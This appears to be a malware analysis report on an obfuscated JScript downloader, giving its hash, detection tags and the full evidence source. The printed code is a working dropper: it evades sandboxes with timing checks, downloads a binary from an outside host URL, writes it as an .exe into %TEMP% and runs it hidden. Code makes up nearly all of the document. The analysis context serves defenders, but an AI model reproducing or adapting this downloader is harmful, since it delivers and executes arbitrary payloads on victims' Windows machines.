20160328_54392661d15be34f72c2cc8e55950540.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25602773db21b9928b59cc1fd699f426ebf534f34c3ae19541aa896e1cddc7debdf
Evidence
1var Qitipwba = false;
2var Icsdfuhtka = "CreateObject";
3var Aidsy = function Giyqtdteov() {return WScript[Icsdfuhtka]("WScript.Shell");}();
4var Tdvgpizy = 123213;
5var Ptyyjs = "MSXML2.XMLHTTP";
6var Eppepxcz = 2123213;
7var Uwomumxuxk = 0;
8function Uktpy(Sodzi){Aidsy["Run"](Sodzi, Uwomumxuxk, Uwomumxuxk);};
9function Myjnm(){return Ptyyjs;};
10function Nodoy(Bsiol, Ynxrrejkw){return Bsiol - Ynxrrejkw;};
11function Nocyonajf(){return Icsdfuhtka;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Qitipwba = true;
15 @end
16@*/
17var Gwfkpfad = "";
18if (Qitipwba)
19{
20function Zqxlheqir(){return 22;};
21var Ekjqrukmlp = 0; var Hlkfauiwg = 0;
22function Cahatvimie()
23{
24var Efcdc = new this["Date"]();
25var Rlozci = Efcdc["getUTCMilliseconds"]();
26WScript["Sleep"](Zqxlheqir());
27var Efcdc = new this["Date"]();
28var Nyvygd = Efcdc["getUTCMilliseconds"]();
29WScript["Sleep"](Zqxlheqir());
30var Efcdc = new this["Date"]();
31var Duyon = Efcdc["getUTCMilliseconds"]();
32var Ekjqrukmlp = "Mdcgwlynwa";
33Ekjqrukmlp = Nodoy(Nyvygd, Rlozci);
34var Hlkfauiwg = "Qfkwji";
35Hlkfauiwg = Nodoy(Duyon, Nyvygd);
36Gwfkpfad = "open";
37return Nodoy(Ekjqrukmlp, Hlkfauiwg);
38}
39var Cqcdft = false;
40var Sktpkbfpoa = false;
41for (var Cuflewmbbv = Uwomumxuxk; Cuflewmbbv < Zqxlheqir() * 1; Cuflewmbbv++){if (Cahatvimie() != Uwo …
49:7… cdft && Ejbmlbvb() && Sktpkbfpoa){
50function Ljffxbzf() {return Aidsy["ExpandEnvironmentStrings"]("%TEMP%/") + "kE5FzGyuiXPUH1yD.exe";};
51 Jrmqlrrdes = Myjnm();
52 Nnbvwtsclg = WScript[Icsdfuhtka](Jrmqlrrdes);
53 var Xibedxdthi = 1;
54 while (Xibedxdthi){
55try {
56Nnbvwtsclg[Gwfkpfad]("GET", "http://themesbin.com/k9sjaf", false);
57Nnbvwtsclg["send"]();
58Igacmbjc = "Sleep";
59do {WScript[Igacmbjc](Zqxlheqir() * 11)} while (Nnbvwtsclg["readystate"] < 4 );
60Xibedxdthi = Uwomumxuxk;
61} catch(Mtzybta){Xibedxdthi = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Kjebb(Zmtjpkvdx) {var Bzxoofmpew = (1, 2, 3, 4, 5, Zmtjpkvdx); return Bzxoofmpew;};
64Kvnwamjx = WScript[Nocyonajf()]("ADODB.Stream");
65Jrmqlrrdes = Kvnwamjx;
66Jrmqlrrdes[Gwfkpfad]();
67Jrmqlrrdes["type"] = Kjebb(1);
68Jrmqlrrdes["write"](Nnbvwtsclg["ResponseBody"]);
69Kvnwamjx["position"] = Kjebb(Uwomumxuxk);
70Jrmqlrrdes["SaveToFile"](Ljffxbzf(), Kjebb(2) );
71Kvnwamjx["close"]();
72Uktpy(Ljffxbzf());
73}
74}
75